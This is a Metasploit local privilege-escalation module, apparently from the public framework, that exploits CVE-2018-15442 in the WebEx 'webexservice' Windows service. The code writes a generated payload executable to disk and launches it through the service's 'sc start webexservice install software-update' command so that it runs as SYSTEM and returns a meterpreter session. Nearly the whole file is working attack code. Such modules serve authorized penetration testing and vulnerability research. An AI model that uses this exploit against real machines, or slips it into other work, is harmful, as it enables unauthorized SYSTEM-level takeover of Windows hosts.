##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = GoodRanking

  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  include Msf::Post::File
  include Msf::Post::Windows::Priv
  include Msf::Post::Windows::Services
  include Msf::Post::Windows::Accounts

  def initialize(info={})
    super( update_info( info,
      'Name'        => 'WebEx Local Service Permissions Exploit',
      'Description' => %q{
        This module exploits a flaw in the 'webexservice' Windows service, which runs as SYSTEM,
        can be used to run arbitrary commands locally, and can be started by limited users in
        default installations.
      },
      'References' =>
        [
          ['URL', 'https://webexec.org'],
          ['CVE', '2018-15442']
        ],
      'DisclosureDate' => "Oct 09 2018",
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Jeff McJunkin <jeff.mcjunkin[at]gmail.com>'
        ],
      'Platform'       => [ 'win'],
      'Targets'        =>
        [
          [ 'Automatic', {} ],
          [ 'Windows x86', { 'Arch' => ARCH_X86 } ],
          [ 'Windows x64', { 'Arch' => ARCH_X64 } ]
        ],
      'SessionTypes'   => [ "meterpreter" ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
          'WfsDelay' => 5,
          'ReverseConnectRetries' => 255
        },
      'DefaultTarget'  => 0
    ))

    register_options([
      OptString.new("DIR", [ false, "Specify a directory to plant the EXE.", "%SystemRoot%\\Temp"])
    ])
    @service_name = 'webexservice'
  end

  def validate_arch
    return target unless target.name == 'Automatic'

    case sysinfo['Architecture']
    when 'x86'
      fail_with(Failure::BadConfig, 'Invalid payload architecture') if payload_instance.arch.first == 'x64'
      vprint_status('Detected x86 system')
      return targets[1]
    when 'x64'
      vprint_status('Detected x64 system')
      return targets[2]
    end
  end

  def check_service_exists?(service)
    srv_info = service_info(service)

    if srv_info.nil?
      vprint_warning("Unable to enumerate services.")
      return false
    end

    if srv_info && srv_info[:display].empty?
      vprint_warning("Service #{service} does not exist.")
      return false
    else
      return true
    end
  end

  def check
    unless check_service_exists?(@service_name)
      return Exploit::CheckCode::Safe
    end

    srv_info = service_info(@service_name)

    vprint_status(srv_info.to_s)

    case START_TYPE[srv_info[:starttype]]
    when 'Disabled'
      vprint_error("Service startup is Disabled, so will be unable to exploit unless account has correct permissions...")
      return Exploit::CheckCode::Safe
    when 'Manual'
      vprint_error("Service startup is Manual, so will be unable to exploit unless account has correct permissions...")
      return Exploit::CheckCode::Safe
    when 'Auto'
      vprint_good("Service is set to Automatically start...")
    end

    if check_search_path
      return Exploit::CheckCode::Safe
    end

    return Exploit::CheckCode::Appears
  end

  def check_write_access(path)
    perm = check_dir_perms(path, @token)
    if perm and perm.include?('W')
      print_good("Write permissions in #{path} - #{perm}")
      return true
    elsif perm
      vprint_status ("Permissions for #{path} - #{perm}")
    else
      vprint_status ("No permissions for #{path}")
    end

    return false
  end


  def exploit
    begin
      @token = get_imperstoken
    rescue Rex::Post::Meterpreter::RequestError
      vprint_error("Error while using get_imperstoken: #{e}")
    end

    fail_with(Failure::Unknown, "Unable to retrieve token.") unless @token

    if is_system?
      fail_with(Failure::Unknown, "Current user is already SYSTEM, aborting.")
    end

    print_status("Checking service exists...")
    if !check_service_exists?(@service_name)
      fail_with(Failure::NoTarget, "The service doesn't exist.")
    end

    if is_uac_enabled?
      print_warning("UAC is enabled, may get false negatives on writable folders.")
    end

    # Use manually selected Dir
    file_path = datastore['DIR']

    @exe_file_name = Rex::Text.rand_text_alphanumeric(8)
    @exe_file_path = "#{file_path}\\#{@exe_file_name}.exe"

    service_information = service_info(@service_name)

    # Check architecture
    valid_arch = validate_arch
    exe = generate_payload_exe(:arch => valid_arch.arch)

    #
    # Drop the malicious executable into the path
    #
    print_status("Writing #{exe.length.to_s} bytes to #{@exe_file_path}...")
    begin
      write_file(@exe_file_path, exe)
      register_file_for_cleanup(@exe_file_path)
    rescue Rex::Post::Meterpreter::RequestError => e
      # Can't write the file, can't go on
      fail_with(Failure::Unknown, e.message)
    end

    #
    # Run the service
    #
    print_status("Launching service...")
    res = cmd_exec("cmd.exe",
      "/c sc start webexservice install software-update 1 #{@exe_file_path}")

    if service_restart(@service_name)
      print_status("Service started...")
    else
      service_information = service_info(@service_name)
      if service_information[:starttype] == START_TYPE_AUTO
        if job_id
          print_status("Unable to start service, handler running waiting for a reboot...")
          while(true)
            break if session_created?
            select(nil,nil,nil,1)
          end
        else
          fail_with(Failure::Unknown, "Unable to start service, use exploit -j to run as a background job and wait for a reboot...")
        end
      else
        fail_with(Failure::Unknown, "Unable to start service, and it does not auto start, cleaning up...")
      end
    end
  end
end

